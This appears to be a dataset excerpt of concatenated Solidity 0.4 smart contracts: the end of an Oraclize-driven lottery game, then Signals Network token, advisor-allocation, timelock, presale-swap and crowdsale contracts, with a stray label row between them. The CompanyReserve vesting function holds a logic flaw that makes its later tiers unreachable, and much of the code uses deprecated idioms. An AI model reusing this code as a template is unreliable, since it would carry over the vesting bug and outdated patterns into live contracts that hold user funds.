if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Permissions
{
event LOG_ChangePermissions(address indexed _called, address indexed _agent, uint8 _value);
event LOG_ChangeRegulator(address indexed _called, bool _value);
mapping(address => uint8) public agents;
bool public communityRegulator;
modifier onlyADM()
{
require(agents[msg.sender] == 1);
_;
}
function changePermissions(address _agent, uint8 _value) public onlyADM()
{
require(msg.sender != _agent);
require(_value <= 1);
agents[_agent] = _value;
LOG_ChangePermissions(msg.sender, _agent, _value);
}
function changeRegulator(bool _value) public onlyADM()
{
communityRegulator = _value;
LOG_ChangeRegulator(msg.sender, _value);
}
function Permissions()
{
agents[msg.sender] = 1;
}
}
contract Accounting is Permissions
{
event LOG_AcceptWei(address indexed _from, uint256 _wei, uint8 indexed _type);
event LOG_WithdrawWei(address indexed _called, address indexed _to, uint256 _wei, uint8 indexed _type);
event LOG_ChangeOraclizeAccountingSettings(address indexed _called, uint256 _OAS_idOraclizeAccountingSettings,
uint256 _OAS_oraclizeRandomGas, uint256 _OAS_oraclizeRandomGwei);
uint256 constant public ACns_WeiInFinney = 1000000000000000;
uint256 constant public ACns_WeiInGwei = 1000000000;
uint256 public AP_totalBalanceCommissionWei;
uint256 public AP_totalBalanceDonateWei;
uint256 public AP_nowRoundBankBalanceWei;
uint256 public OAS_idOraclizeAccountingSettings;
uint256 public OAS_oraclizeRandomGas;
uint256 public OAS_oraclizeRandomGwei;
function () payable
{
AP_totalBalanceDonateWei = AP_totalBalanceDonateWei + msg.value;
LOG_AcceptWei(msg.sender, msg.value, 1);
}
function withdrawTotalBalanceDonateWei(address _to) public onlyADM()
{
_to.transfer(AP_totalBalanceDonateWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceDonateWei, 1);
AP_totalBalanceDonateWei = 0;
}
function withdrawTotalBalanceCommissionWei(address _to) public onlyADM()
{
_to.transfer(AP_totalBalanceCommissionWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceCommissionWei, 2);
AP_totalBalanceCommissionWei = 0;
}
function changeOraclizeAccountingSettings(uint256 _OAS_oraclizeRandomGas) public onlyADM()
{
OAS_idOraclizeAccountingSettings++;
OAS_oraclizeRandomGas = _OAS_oraclizeRandomGas;
OAS_oraclizeRandomGwei = _OAS_oraclizeRandomGas * 20;
LOG_ChangeOraclizeAccountingSettings(msg.sender, OAS_idOraclizeAccountingSettings, OAS_oraclizeRandomGas, OAS_oraclizeRandomGwei);
}
}
contract GameBase is Accounting, usingOraclize
{
event LOG_ChangeGameSettings
(address indexed _called, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec);
event LOG_ChangeStatusGame(address indexed _called, uint256 _GP_roundNum, uint8 _status);
uint256 public GS_idGameSettings;
uint256 public GS_betSizeFinney;
uint256 public GS_maxAmountBets;
uint256 public GS_minStartAgentAmountBets;
uint256 public GS_maxAgentAmountBets;
uint256 public GS_maxAmountBetsInOneTransaction;
uint8 public GS_commissionPct;
bool public GS_commissionType;
uint256 public GS_betTimeoutSec;
uint256 public GP_roundNum;
uint256 public GP_amountBets;
uint256 public GP_lastBetTimeSec;
uint8 public GP_statusGame;
mapping(address => uint256) internal GPA_agentAddressId;
address[] internal GPA_agentIdAddress;
uint256[] internal GPA_agentIdBetsSum;
uint256[] internal GPA_betNumAgentId;
modifier onlyNoBets()
{
require(GP_amountBets == 0);
_;
}
modifier stop()
{
require(GP_statusGame == 0);
_;
}
function withdrawAllWei(address _to) public onlyADM() onlyNoBets()
{
LOG_WithdrawWei(msg.sender, _to, this.balance, 3);
_to.transfer(this.balance);
AP_totalBalanceDonateWei = 0;
AP_totalBalanceCommissionWei = 0;
}
function changeGameSettings
(uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec) public onlyADM() onlyNoBets()
{
require(OAS_oraclizeRandomGwei > 0);
require(_GS_betSizeFinney <= 10000);
require(_GS_maxAmountBets <= 1000000 && _GS_maxAmountBets >= 3);
require(_GS_maxAmountBetsInOneTransaction <= 150);
require(_GS_minStartAgentAmountBets <= _GS_maxAmountBetsInOneTransaction);
require(_GS_minStartAgentAmountBets <= _GS_maxAgentAmountBets);
require(_GS_maxAgentAmountBets < _GS_maxAmountBets);
require(_GS_commissionPct <= 99);
GS_idGameSettings++;
GS_betSizeFinney = _GS_betSizeFinney;
GS_maxAmountBets = _GS_maxAmountBets;
GS_minStartAgentAmountBets = _GS_minStartAgentAmountBets;
GS_maxAgentAmountBets = _GS_maxAgentAmountBets;
GS_maxAmountBetsInOneTransaction = _GS_maxAmountBetsInOneTransaction;
GS_commissionPct = _GS_commissionPct;
GS_commissionType = _GS_commissionType;
GS_betTimeoutSec = _GS_betTimeoutSec;
LOG_ChangeGameSettings
(msg.sender, GP_roundNum, GS_idGameSettings,
_GS_betSizeFinney, _GS_maxAmountBets, _GS_minStartAgentAmountBets, _GS_maxAgentAmountBets, _GS_maxAmountBetsInOneTransaction,
_GS_commissionPct, _GS_commissionType, _GS_betTimeoutSec);
}
function changeStatusGame(uint8 _value) public onlyADM() onlyNoBets()
{
require(_value <= 1);
GP_statusGame = _value;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, _value);
}
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdressById(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= GPA_agentIdAddress.length)
{
value = GPA_agentIdAddress[_agentId - 1];
}
return value;
}
function getBetsSumByAgentId(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= GPA_agentIdBetsSum.length)
{
value = GPA_agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentIdByPositionBet(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= GPA_betNumAgentId.length)
{
value = GPA_betNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsAmount() public constant returns(uint256)
{
return GPA_agentIdAddress.length;
}
function GameBase()
{
GP_roundNum = 1;
}
}
contract Game is GameBase
{
event LOG_Request_CallbackOraclize(address indexed _called, uint256 _GP_roundNum, uint256 _OAS_idOraclizeAccountingSettings, bytes32 _queryId, uint8 _type);
event LOG_ForciblyRequest_CallbackOraclize(address _called, uint256 _GP_roundNum, uint8 _confirmType);
event LOG_CallbackOraclize(uint256 _GP_roundNum, bytes32 _queryId, bytes _proof);
event LOG_Bet(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _amountBets, uint256 _spentFinney);
event LOG_Win(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GP_amountBets, uint256 _betsSum, uint256 _spentFinney,
uint256 _winWei, uint256 _luckyNumber);
event LOG_Commision(uint256 _GP_roundNum, uint256 _GS_idGameSettings, uint256 _AP_nowRoundBankBalanceWei, uint256 _GS_commissionPct, uint256 _commisionWei);
function bet() payable public
{
require(GP_statusGame == 1);
uint256 amountBets;
amountBets = (msg.value / ACns_WeiInFinney) / GS_betSizeFinney;
require(amountBets > 0);
uint256 agentId;
agentId = getAgentIdByAddress(msg.sender);
require(amountBets >= GS_minStartAgentAmountBets || agentId != 0);
if ((amountBets + GP_amountBets) > GS_maxAmountBets)
{
amountBets = GS_maxAmountBets - GP_amountBets;
}
if ((amountBets + getBetsSumByAgentId(agentId)) > GS_maxAgentAmountBets)
{
amountBets = GS_maxAgentAmountBets - getBetsSumByAgentId(agentId);
}
if (amountBets > GS_maxAmountBetsInOneTransaction)
{
amountBets = GS_maxAmountBetsInOneTransaction;
}
require(amountBets > 0);
if (agentId == 0)
{
GPA_agentIdAddress.push(msg.sender);
agentId = GPA_agentIdAddress.length;
GPA_agentAddressId[msg.sender] = agentId;
GPA_agentIdBetsSum.push(0);
}
GPA_agentIdBetsSum[agentId - 1] = getBetsSumByAgentId(agentId) + amountBets;
while (GPA_betNumAgentId.length < GP_amountBets + amountBets)
{
GPA_betNumAgentId.push(agentId);
}
uint256 amountBetsSizeWei = amountBets * GS_betSizeFinney * ACns_WeiInFinney;
LOG_AcceptWei(msg.sender, msg.value, 2);
LOG_WithdrawWei(msg.sender, msg.sender, msg.value - amountBetsSizeWei, 4);
msg.sender.transfer(msg.value - amountBetsSizeWei);
LOG_Bet(msg.sender, agentId, GP_roundNum, GS_idGameSettings, amountBets, amountBets * GS_betSizeFinney);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei + amountBetsSizeWei;
GP_amountBets = GP_amountBets + amountBets;
GP_lastBetTimeSec = block.timestamp;
if (GP_amountBets > GS_maxAmountBets - GS_minStartAgentAmountBets)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
if (AP_nowRoundBankBalanceWei > oraclizeRandomWei)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - oraclizeRandomWei;
request_callback(1);
}
else
{
GP_statusGame = 3;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
}
}
function play(uint256 _luckyNumber) private
{
uint256 winnerId = getAgentIdByPositionBet(_luckyNumber);
address winnerAddress = getAgentAdressById(winnerId);
uint256 commissionSizeWei;
if (GS_commissionType)
{
commissionSizeWei = AP_nowRoundBankBalanceWei / 100 * GS_commissionPct;
}
else
{
commissionSizeWei = (GP_amountBets - getBetsSumByAgentId(winnerId)) * (GS_betSizeFinney * ACns_WeiInFinney) / 100 * GS_commissionPct;
}
AP_totalBalanceCommissionWei = AP_totalBalanceCommissionWei + commissionSizeWei;
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - commissionSizeWei;
LOG_Commision(GP_roundNum, GS_idGameSettings, AP_nowRoundBankBalanceWei, GS_commissionPct, commissionSizeWei);
winnerAddress.transfer(AP_nowRoundBankBalanceWei);
LOG_WithdrawWei(msg.sender, winnerAddress, AP_nowRoundBankBalanceWei, 5);
LOG_Win(winnerAddress, winnerId, GP_roundNum, GS_idGameSettings,
GP_amountBets, getBetsSumByAgentId(winnerId), getBetsSumByAgentId(winnerId) * GS_betSizeFinney, AP_nowRoundBankBalanceWei, _luckyNumber);
GP_statusGame = 1;
GP_amountBets = 0;
GP_roundNum++;
AP_nowRoundBankBalanceWei = 0;
delete GPA_agentIdAddress;
delete GPA_agentIdBetsSum;
delete GPA_betNumAgentId;
}
function thisIsTheEnd(address _to) public onlyADM() onlyNoBets()
{
selfdestruct(_to);
}
function request_callback(uint8 _type) private
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, OAS_oraclizeRandomGas);
LOG_Request_CallbackOraclize(msg.sender, GP_roundNum, OAS_idOraclizeAccountingSettings, queryId, _type);
}
function forciblyRequest_callback() payable public
{
uint8 confirm;
if (GP_statusGame == 3 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 1;
}
if (GP_statusGame == 2 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 2;
}
if (GP_statusGame == 1 && (block.timestamp > GP_lastBetTimeSec + GS_betTimeoutSec) && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 3;
}
if (confirm > 0)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
require(msg.value >= oraclizeRandomWei);
msg.sender.transfer(msg.value - oraclizeRandomWei);
if (confirm != 2)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
LOG_ForciblyRequest_CallbackOraclize(msg.sender, GP_roundNum, confirm);
request_callback(2);
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
require(msg.sender == oraclize_cbAddress());
require (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0);
require(GP_statusGame == 2);
LOG_CallbackOraclize(GP_roundNum, _queryId, _proof);
play(uint(sha3(_result)) % GP_amountBets + 1);
}
function startRequest_callback() payable public onlyADM() onlyNoBets() stop()
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, 100000);
LOG_Request_CallbackOraclize(msg.sender, 0, 100000, queryId, 0);
}
function Game()
{
oraclize_setProof(proofType_Ledger);
}
} | 0 | 1,453 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AdviserTimeLock is Ownable{
SignalsToken token;
uint256 withdrawn;
uint start;
event TokensWithdrawn(address owner, uint amount);
function AdviserTimeLock(address _token, address _owner) public{
token = SignalsToken(_token);
owner = _owner;
start = now;
}
function withdraw() onlyOwner public {
require(now - start >= 25920000);
uint toWithdraw = canWithdraw();
token.transfer(owner, toWithdraw);
withdrawn += toWithdraw;
TokensWithdrawn(owner, toWithdraw);
}
function canWithdraw() public view returns (uint256) {
uint256 sinceStart = now - start;
uint256 allowed = (sinceStart/2592000)*504546000000000;
uint256 toWithdraw;
if (allowed > token.balanceOf(address(this))) {
toWithdraw = token.balanceOf(address(this));
} else {
toWithdraw = allowed - withdrawn;
}
return toWithdraw;
}
function cleanUp() onlyOwner public {
require(token.balanceOf(address(this)) == 0);
selfdestruct(owner);
}
}
contract AdvisoryPool is Ownable{
SignalsToken token;
address constant ADVISER1 = 0x7915D5A865FE68C63112be5aD3DCA5187EB08f24;
address constant ADVISER2 = 0x31cFF39AA68B91fa7C957272A6aA8fB8F7b69Cb0;
address constant ADVISER3 = 0x358b3aeec9fae5ab15fe28d2fe6c7c9fda596857;
address constant ADVISER4 = 0x1011FC646261eb5d4aB875886f1470d4919d83c8;
address constant ADVISER5 = 0xcc04Cd98da89A9172372aEf4B62BEDecd01A7F5a;
address constant ADVISER6 = 0xECD791f8E548D46A9711D853Ead7edC685Ca4ee8;
address constant ADVISER7 = 0x38B58e5783fd4D077e422B3362E9d6B265484e3f;
address constant ADVISER8 = 0x2934205135A129F995AC891C143cCae83ce175c7;
address constant ADVISER9 = 0x9F5D00F4A383bAd14DEfA9aee53C5AF2ad9ad32F;
address constant ADVISER10 = 0xBE993c982Fc5a0C0360CEbcEf9e4d2727339d96B;
address constant ADVISER11 = 0xdf1E2126eB638335eFAb91a834db4c57Cbe18735;
address constant ADVISER12 = 0x8A404969Ad1BCD3F566A7796722f535eD9cA22b2;
address constant ADVISER13 = 0x066a8aD6fA94AC83e1AFB5Aa7Dc62eD1D2654bB2;
address constant ADVISER14 = 0xA1425Fa987d1b724306d93084b93D62F37482c4b;
address constant ADVISER15 = 0x4633515904eE5Bc18bEB70277455525e84a51e90;
address constant ADVISER16 = 0x230783Afd438313033b07D39E3B9bBDBC7817759;
address constant ADVISER17 = 0xe8b9b07c1cca9aE9739Cec3D53004523Ab206CAc;
address constant ADVISER18 = 0x0E73f16CfE7F545C0e4bB63A9Eef18De8d7B422d;
address constant ADVISER19 = 0x6B4c6B603ca72FE7dde971CF833a58415737826D;
address constant ADVISER20 = 0x823D3123254a3F9f9d3759FE3Fd7d15e21a3C5d8;
address constant ADVISER21 = 0x0E48bbc496Ae61bb790Fc400D1F1a57520f772Df;
address constant ADVISER22 = 0x06Ee8eCc0145CcaCEc829490e3c557f577BE0e85;
address constant ADVISER23 = 0xbE56bFF75A1cB085674Cc37a5C8746fF6C43C442;
address constant ADVISER24 = 0xb442b5297E4aEf19E489530E69dFef7fae27F4A5;
address constant ADVISER25 = 0x50EF1d6a7435C7FB3dB7c204b74EB719b1EE3dab;
address constant ADVISER26 = 0x3e9fed606822D5071f8a28d2c8B51E6964160CB2;
AdviserTimeLock public tokenLocker23;
function AdvisoryPool(address _token, address _owner) public {
owner = _owner;
token = SignalsToken(_token);
}
function initiate() public onlyOwner {
require(token.balanceOf(address(this)) == 18500000000000000);
tokenLocker23 = new AdviserTimeLock(address(token), ADVISER23);
token.transfer(ADVISER1, 380952380000000);
token.transfer(ADVISER2, 380952380000000);
token.transfer(ADVISER3, 659200000000000);
token.transfer(ADVISER4, 95238100000000);
token.transfer(ADVISER5, 1850000000000000);
token.transfer(ADVISER6, 15384620000000);
token.transfer(ADVISER7, 62366450000000);
token.transfer(ADVISER8, 116805560000000);
token.transfer(ADVISER9, 153846150000000);
token.transfer(ADVISER10, 10683760000000);
token.transfer(ADVISER11, 114285710000000);
token.transfer(ADVISER12, 576923080000000);
token.transfer(ADVISER13, 76190480000000);
token.transfer(ADVISER14, 133547010000000);
token.transfer(ADVISER15, 96153850000000);
token.transfer(ADVISER16, 462500000000000);
token.transfer(ADVISER17, 462500000000000);
token.transfer(ADVISER18, 399865380000000);
token.transfer(ADVISER19, 20032050000000);
token.transfer(ADVISER20, 35559130000000);
token.transfer(ADVISER21, 113134000000000);
token.transfer(ADVISER22, 113134000000000);
token.transfer(address(tokenLocker23), 5550000000000000);
token.transfer(ADVISER23, 1850000000000000);
token.transfer(ADVISER24, 100000000000000);
token.transfer(ADVISER25, 100000000000000);
token.transfer(ADVISER26, 2747253000000000);
}
function cleanUp() onlyOwner public {
uint256 notAllocated = token.balanceOf(address(this));
token.transfer(owner, notAllocated);
selfdestruct(owner);
}
}
contract CommunityPool is Ownable{
SignalsToken token;
event CommunityTokensAllocated(address indexed member, uint amount);
function CommunityPool(address _token, address _owner) public{
token = SignalsToken(_token);
owner = _owner;
}
function allocToMember(address member, uint amount) public onlyOwner {
require(amount > 0);
token.transfer(member, amount);
CommunityTokensAllocated(member, amount);
}
function clean() public onlyOwner {
require(token.balanceOf(address(this)) == 0);
selfdestruct(owner);
}
}
contract CompanyReserve is Ownable{
SignalsToken token;
uint256 withdrawn;
uint start;
function CompanyReserve(address _token, address _owner) public {
token = SignalsToken(_token);
owner = _owner;
start = now;
}
event TokensWithdrawn(address owner, uint amount);
function withdraw() onlyOwner public {
require(now - start >= 25920000);
uint256 toWithdraw = canWithdraw();
withdrawn += toWithdraw;
token.transfer(owner, toWithdraw);
TokensWithdrawn(owner, toWithdraw);
}
function canWithdraw() public view returns (uint256) {
uint256 sinceStart = now - start;
uint256 allowed;
if (sinceStart >= 0) {
allowed = 555000000000000;
} else if (sinceStart >= 31536000) {
allowed = 1480000000000000;
} else if (sinceStart >= 63072000) {
allowed = 3330000000000000;
} else {
return 0;
}
return allowed - withdrawn;
}
function cleanUp() onlyOwner public {
require(token.balanceOf(address(this)) == 0);
selfdestruct(owner);
}
}
contract PresaleToken is PausableToken, MintableToken {
string constant public name = "SGNPresaleToken";
string constant public symbol = "SGN";
uint8 constant public decimals = 9;
event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens);
function PresaleToken() public {
pause();
}
function burnTokens(address _partner, uint256 _tokens) public onlyOwner {
require(balances[_partner] >= _tokens);
balances[_partner] -= _tokens;
totalSupply -= _tokens;
TokensBurned(msg.sender, _partner, _tokens);
}
}
contract SignalsToken is PausableToken, MintableToken {
string constant public name = "Signals Network Token";
string constant public symbol = "SGN";
uint8 constant public decimals = 9;
}
contract PrivateRegister is Ownable {
struct contribution {
bool approved;
uint8 extra;
}
mapping (address => contribution) verified;
event ApprovedInvestor(address indexed investor);
event BonusesRegistered(address indexed investor, uint8 extra);
function approve(address _investor, uint8 _extra) onlyOwner public{
require(!isContract(_investor));
verified[_investor].approved = true;
if (_extra <= 100) {
verified[_investor].extra = _extra;
BonusesRegistered(_investor, _extra);
}
ApprovedInvestor(_investor);
}
function approved(address _investor) view public returns (bool) {
return verified[_investor].approved;
}
function getBonuses(address _investor) view public returns (uint8 extra) {
return verified[_investor].extra;
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract CrowdsaleRegister is Ownable {
struct contribution {
bool approved;
uint8 commission;
uint8 extra;
}
mapping (address => contribution) verified;
event ApprovedInvestor(address indexed investor);
event BonusesRegistered(address indexed investor, uint8 commission, uint8 extra);
function approve(address _investor, uint8 _commission, uint8 _extra) onlyOwner public{
require(!isContract(_investor));
verified[_investor].approved = true;
if (_commission <= 15 && _extra <= 5) {
verified[_investor].commission = _commission;
verified[_investor].extra = _extra;
BonusesRegistered(_investor, _commission, _extra);
}
ApprovedInvestor(_investor);
}
function approved(address _investor) view public returns (bool) {
return verified[_investor].approved;
}
function getBonuses(address _investor) view public returns (uint8 commission, uint8 extra) {
return (verified[_investor].commission, verified[_investor].extra);
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract PresalePool is Ownable {
PresaleToken public PublicPresale;
PresaleToken public PartnerPresale;
SignalsToken token;
CrowdsaleRegister registry;
uint256 compensation1;
uint256 compensation2;
uint256 deadLine;
event SupporterResolved(address indexed supporter, uint256 burned, uint256 created);
event PartnerResolved(address indexed partner, uint256 burned, uint256 created);
function PresalePool(address _token, address _registry, address _owner, uint comp1, uint comp2) public {
owner = _owner;
PublicPresale = PresaleToken(0x15fEcCA27add3D28C55ff5b01644ae46edF15821);
PartnerPresale = PresaleToken(0xa70435D1a3AD4149B0C13371E537a22002Ae530d);
token = SignalsToken(_token);
registry = CrowdsaleRegister(_registry);
compensation1 = comp1;
compensation2 = comp2;
deadLine = now + 30 days;
}
function() public {
swap();
}
function swap() public {
require(registry.approved(msg.sender));
uint256 oldBalance;
uint256 newBalance;
if (PublicPresale.balanceOf(msg.sender) > 0) {
oldBalance = PublicPresale.balanceOf(msg.sender);
newBalance = oldBalance * compensation1 / 100;
PublicPresale.burnTokens(msg.sender, oldBalance);
token.transfer(msg.sender, newBalance);
SupporterResolved(msg.sender, oldBalance, newBalance);
}
if (PartnerPresale.balanceOf(msg.sender) > 0) {
oldBalance = PartnerPresale.balanceOf(msg.sender);
newBalance = oldBalance * compensation2 / 100;
PartnerPresale.burnTokens(msg.sender, oldBalance);
token.transfer(msg.sender, newBalance);
PartnerResolved(msg.sender, oldBalance, newBalance);
}
}
function swapFor(address whom) onlyOwner public returns(bool) {
require(registry.approved(whom));
uint256 oldBalance;
uint256 newBalance;
if (PublicPresale.balanceOf(whom) > 0) {
oldBalance = PublicPresale.balanceOf(whom);
newBalance = oldBalance * compensation1 / 100;
PublicPresale.burnTokens(whom, oldBalance);
token.transfer(whom, newBalance);
SupporterResolved(whom, oldBalance, newBalance);
}
if (PartnerPresale.balanceOf(whom) > 0) {
oldBalance = PartnerPresale.balanceOf(whom);
newBalance = oldBalance * compensation2 / 100;
PartnerPresale.burnTokens(whom, oldBalance);
token.transfer(whom, newBalance);
SupporterResolved(whom, oldBalance, newBalance);
}
return true;
}
function clean() onlyOwner public {
require(now >= deadLine);
uint256 notAllocated = token.balanceOf(address(this));
token.transfer(owner, notAllocated);
selfdestruct(owner);
}
}
contract Crowdsale {
using SafeMath for uint256;
SignalsToken public token;
address public wallet;
uint256 public weiRaised;
uint256 public startTime;
bool public hasEnded;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(address _token, address _wallet) public {
require(_wallet != 0x0);
token = SignalsToken(_token);
wallet = _wallet;
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) private {}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded);
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract SignalsCrowdsale is FinalizableCrowdsale {
uint256 public constant HARD_CAP = 18000*(10**18);
uint256 public toBeRaised = 18000*(10**18);
uint256 public constant PRICE = 360000;
uint256 public tokensSold;
uint256 public constant maxTokens = 185000000*(10**9);
